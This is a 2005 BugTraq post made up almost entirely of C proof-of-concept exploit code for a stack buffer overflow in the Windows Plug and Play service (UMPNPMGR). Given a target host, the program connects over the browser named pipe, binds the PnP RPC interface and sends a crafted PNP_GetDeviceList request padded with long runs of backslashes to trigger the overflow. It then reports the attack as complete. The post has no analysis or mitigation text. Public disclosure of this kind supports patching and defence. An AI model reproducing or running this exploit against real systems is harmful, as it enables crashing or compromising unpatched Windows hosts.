BugTraq
Windows UMPNPMGR wsprintfW Stack Buffer Overflow Vulnerability PoC Oct 21 2005 10:37AM
ppwd25 hotmail com
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")

unsigned char szBindString[] =
{
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x
00,0x00,
0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x
01,0x00,
0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x
05,0x1b,
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x
08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char szRequestString[] =
{
0x05,0x00,
0x00,0x03,0x10,0x00,0x00,0x00,0x30,0x08,0x00,0x00,0x01,0x00,0x00,0x00,0x
18,0x08,
0x00,0x00,0x00,0x00,0x0a,0x00,0x44,0xf7,0x12,0x00,0x00,0x04,0x00,0x00,0x
00,0x00,
0x00,0x00,0x00,0x04,0x00,0x00,0x48,0x00,0x54,0x00,0x52,0x00,0x45,0x00,0x
45,0x00,
0x5c,0x00,0x52,0x00,0x4f,0x00,0x4f,0x00,0x54,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
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5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
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5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
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5c,0x00,
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5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x
5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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5c,0x00,
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};

int main(int argc, char* argv[])
{
char szServerName[MAX_PATH];
char szPipe[MAX_PATH];
HANDLE hFile;
NETRESOURCE nr;

if (argc < 2){
printf("[-] Usage: %s <host>\n", argv[0]);
return -1;
}

if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
printf("[-] Host name %s is too long !\n");
return -1;
}

printf("[+] Start connect host %s ... \n", argv[1]);
wsprintf( szServerName, "\\\\%s\\pipe", argv[1] );
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = szServerName;
nr.lpProvider = NULL;
if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
printf("[-] Connect to host %s failed !\n", argv[1]);
return -1;
}

_snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser", argv[1]);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);

if ( hFile == INVALID_HANDLE_VALUE ) {
printf("[-] Open name pipe %s failed !\n", szPipe);
return -1;
}

unsigned char szOutBuffer[0X1000];
unsigned long nBytesRead;

printf("[+] Start bind RPC interface ... \n");
// bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf("[-] TransactNamedPipe (Binding) failed !\n");
CloseHandle(hFile);
return -1;
}

// send rpc request to call PNP_GetDeviceList (opnum 10)
printf("[+] Start send RPC request ... \n");
if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf("[-] TransactNamedPipe (Binding) failed !\n");
CloseHandle(hFile);
return -1;
}
printf("[+] Attack host %s complete !\n", argv[1]);
return 0;
}

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